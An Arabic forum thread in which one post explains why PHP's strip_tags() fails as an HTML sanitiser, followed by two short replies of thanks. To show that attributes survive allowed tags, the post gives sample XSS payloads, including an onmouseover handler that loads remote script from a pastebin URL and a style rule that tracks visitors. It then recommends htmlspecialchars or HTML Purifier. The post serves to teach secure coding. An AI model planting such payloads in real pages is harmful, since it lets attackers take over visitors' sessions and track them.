العودة   منتديات البقعة > اقسام البرامج > بقعة لغات البرمجة

اعلانات

بقعة لغات البرمجة يناقش هاذا المنتدى لغات البرمجة فيجوال بيسيك , فيجوال سي ++ , دلفي , أكسيس , أوراكل , جافا , الاسمبلي, بي اتش بي, HTML , ..

  انشر الموضوع
إضافة رد
 
أدوات الموضوع انواع عرض الموضوع
قديم 24.08.2012, 07:53   المشاركة رقم: 1
المعلومات
الكاتب:
الرتبة
الصورة الرمزية
 
الصورة الرمزية لوجين


البيانات
التسجيل: 02.12.2009
العضوية: 1965
المشاركات: 1,193 [+]
بمعدل : 0.23 يوميا
اخر زياره : [+]
معدل التقييم:
نقاط التقييم: 10

التوقيت

الإتصالات
الحالة:
لوجين غير متواجد حالياً
وسائل الإتصال:

المنتدى : بقعة لغات البرمجة
السلام عليكم
strip_tags() هى دالة من اشهر دوال البى اتس بى استعمالاَ لجعل صفحات الويب اكثر اماناَ فوظيفتها هى تنظيف المتغيرات من اكواد الـHTML ، ولكن يمكننا قول "دالة strip_tags ليست هى الدالة الصحيحة لعمل هذا باى شكل من الاشكال" وسنعرض فى هذه المقالة بعض من الاسباب التى جعتها كذلك.

تأكل الجمل فى بعض الاحيان فانها تحول "هذا يوضح ان المتغير س>ص" الى "هذا يوضح ان المتغير ص" (فانها تمنعك من مناقشة اكواد الهتميل فى موضوعك كمثال)
استخدام متغير الدالة الثانى لقبول بعض من وسوم الهتمل (HTML TAG) فى المتغير يعتبر شىء خطير للغاية لانها لا تقوم بحذف الخصاص (attributes) انظر المثال:

رمز PHP:
$message = strip_tags($message, '<b><i>');



فى هذه الحالة لم تقوم الدالة بحذف خصائص الوسم ، فيمكن ان يأتى احدهم اليك ويكتب تعليق كهذا






رمز PHP:
<b style="font-size:100pt;text-decoration:blink">درس اكثر من رائع</b>



ويمكن ايضا عمل هذا


رمز PHP:
<b style="background:url(http://someserver/transparent.gif);font-weight:normal">درس رائع</b>



فبطريقة مثل هذه يمكن لشخص ما ان يتتبع زوارك دون اذن منك ، او ربما شخص ما ممن يدعون التهكير يفعل شىء كهذا


رمز PHP:
<b onmouseover="s=document.createElement('script');s.src='htt p://pastebin.com/raw.php?i=j1Vhq2aJ';document.getElementsByTagName( 'head')[0].appendChild(s)">مرحبا</b>



وبهذا الكود عندما يقوم شخص ما بالمرور بالموس على التعليق سيكون الموقع الخاص بك اصبع ملكية عامة للهكرز .

ومن عيوب المتغير الثانى ايضا انه فى حالة عمل شىء كهذا

رمز PHP:
strip_tags('ولكن لن يتم تنسيقها <br/> هذه جملة تحتوى على سطر اخر', '<br>')



ببساطة ان كنت تريد الحماية من الهتميل ولعرض النصوص فى صفحات الويب تماما مثل ما ارسلت ، الدالة الصحيحة لذلك هى htmlspecialchars مع دالة nl2br ان كنت تريد عرض اكثر من سطر وطبعا هذه الطريقة تحول رموز الهتميل الى نصوص حتى لا يتم تنفيذها (عليك ان تعرف تماما اى ترميز سوف تستعمله - وفى حالة انك لن تستعمل الترميز الافضل والمتعارف عليه UTF-8 وتميل لاستعمال احدى ترميزات not-ASCII-compatible عليك زكر هذا كمتغير ثانى لدالة htmlspecialchars لكى تصل لافضل اداء لها).


فى حالة انك تريد عمل تنسيق للنص عليك استعمال اى نوع من التنسيقات مسبق التصميم مثل Markdown او يمكنك استعمال اسلوب الـBBCode المستعمل فى جميع المنتديات.

ويمكنك ايضا استعمال الهتميل فى حالة واحدة فقط وهى استعمال كلاس HTML Purifier الذى يفعل ما كان على دالة strip_tags ان تفعله.

والسلام عيكم











عرض البوم صور لوجين   رد مع اقتباس
قديم 25.08.2012, 06:02   المشاركة رقم: 2
المعلومات
الكاتب:
الرتبة
الصورة الرمزية
 
الصورة الرمزية غرام


البيانات
التسجيل: 07.09.2009
العضوية: 1481
المشاركات: 1,396 [+]
بمعدل : 0.26 يوميا
اخر زياره : [+]
معدل التقييم:
نقاط التقييم: 10

التوقيت

الإتصالات
الحالة:
غرام غير متواجد حالياً
وسائل الإتصال:

كاتب الموضوع : لوجين المنتدى : بقعة لغات البرمجة
افتراضي

معلومات بغاية الاهمية









عرض البوم صور غرام   رد مع اقتباس
قديم 26.08.2012, 10:53   المشاركة رقم: 3
المعلومات
الكاتب:
اللقب:
مشرف
الرتبة
الصورة الرمزية
 
الصورة الرمزية مهرة الفارس المصري


البيانات
التسجيل: 14.03.2012
العضوية: 2682
المشاركات: 822 [+]
بمعدل : 0.19 يوميا
اخر زياره : [+]
الموديل  : انثى
اللون  : eg
معدل التقييم:
نقاط التقييم: 10

التوقيت

الإتصالات
الحالة:
مهرة الفارس المصري غير متواجد حالياً
وسائل الإتصال:

كاتب الموضوع : لوجين المنتدى : بقعة لغات البرمجة
افتراضي

 

يسلموو للمجهود الرائع









عرض البوم صور مهرة الفارس المصري   رد مع اقتباس
إضافة رد

مواقع النشر (المفضلة)

الكلمات الدلالية (Tags)
معلومات, دالة, دقائق, strip_tags, عن, هامة

أدوات الموضوع
انواع عرض الموضوع

تعليمات المشاركة
لا تستطيع إضافة مواضيع جديدة
لا تستطيع الرد على المواضيع
لا تستطيع إرفاق ملفات
لا تستطيع تعديل مشاركاتك

BB code is متاحة
كود [IMG] متاحة
كود HTML معطلة

الانتقال السريع

المواضيع المتشابهه
الموضوع كاتب الموضوع المنتدى مشاركات آخر مشاركة
معلومات مُفيدة تُضيفها إلى معلوماتك ! عبدالرحمن ღ ~ .. هلآ بآللے لفآڹآ .. ~ ღ 2 04.12.2011 07:20
برنامج رموز البلاد يعطيك معلومات هائلة adam بقعة البرامج 4 15.07.2010 06:26
سلسلة (الشباب والشهوة) بأسلوب رائع ومبسط وهى هامة جدا لكل شاب من الجنسين adam الفلاشات الوعظية والمحاضرات والقرآن والادعية 1 02.04.2010 07:07
برامج هامة.... لوجين بقعة الجوالات والاتصالات 3 04.03.2010 07:38
Cpu-z يعطيك معلومات قطع الجهاز DeHmI بقعة البرامج 4 20.06.2009 09:16


Powered by vBulletin®
Copyright ©2000 - 2024, Jelsoft Enterprises Ltd.